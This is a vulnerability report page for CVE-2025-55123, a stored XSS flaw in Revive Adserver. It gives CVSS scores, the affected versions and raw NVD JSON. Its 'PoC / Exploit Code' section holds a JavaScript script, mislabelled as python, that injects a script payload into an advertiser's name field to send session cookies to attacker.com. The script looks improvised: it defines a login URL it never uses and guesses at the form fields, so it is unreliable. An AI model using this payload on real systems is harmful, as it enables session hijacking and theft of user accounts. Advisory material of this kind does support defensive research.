Security Vulnerability Report
中文
CVE-2025-55123 CVSS 5.4 MEDIUM

CVE-2025-55123

Published: 2025-11-20 20:16:24
Last Modified: 2025-12-05 20:17:35

Description

Improper neutralization of input in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes manager accounts to be able to craft XSS attacks to their own advertiser users.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:-:*:*:*:*:*:* - VULNERABLE
Revive Adserver < 5.5.2
Revive Adserver < 6.0.1
Revive Adserver 5.5.2 and earlier
Revive Adserver 6.0.1 and earlier

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55123 PoC - Revive Adserver XSS Injection // Author: Security Researcher // Target: Revive Adserver < 5.5.2, < 6.0.1 const axios = require('axios'); async function exploitCVE202555123(targetUrl, managerToken, advertiserId) { const xssPayload = '<script>document.location="https://attacker.com/steal?c=' + '"+encodeURIComponent(document.cookie)</script>'; // Login as manager account const loginUrl = `${targetUrl}/www/admin/login.php`; const session = axios.create({ baseURL: targetUrl }); // Send XSS payload to advertiser via message or ad campaign const injectionUrl = `${targetUrl}/www/admin/advertiser-edit.php`; try { // Inject XSS payload in advertiser name or campaign field const response = await session.post(injectionUrl, { clientid: advertiserId, clientname: xssPayload, submit: 'Save' }, { headers: { 'Cookie': `sessionid=${managerToken}`, 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when advertiser views their dashboard'); return true; } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } // Usage example // exploitCVE202555123('http://target-revive-adserver.com', 'manager_session_token', '12345');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55123", "sourceIdentifier": "[email protected]", "published": "2025-11-20T20:16:23.547", "lastModified": "2025-12-05T20:17:35.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input in Revive Adserver 5.5.2 and 6.0.1 and earlier versions causes manager accounts to be able to craft XSS attacks to their own advertiser users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "9EF49CB0-886F-4AB3-8CBF-B7A8A7276DD9"}]}]}], "references": [{"url": "https://hackerone.com/reports/3404968", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://hackerone.com/reports/3404968", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}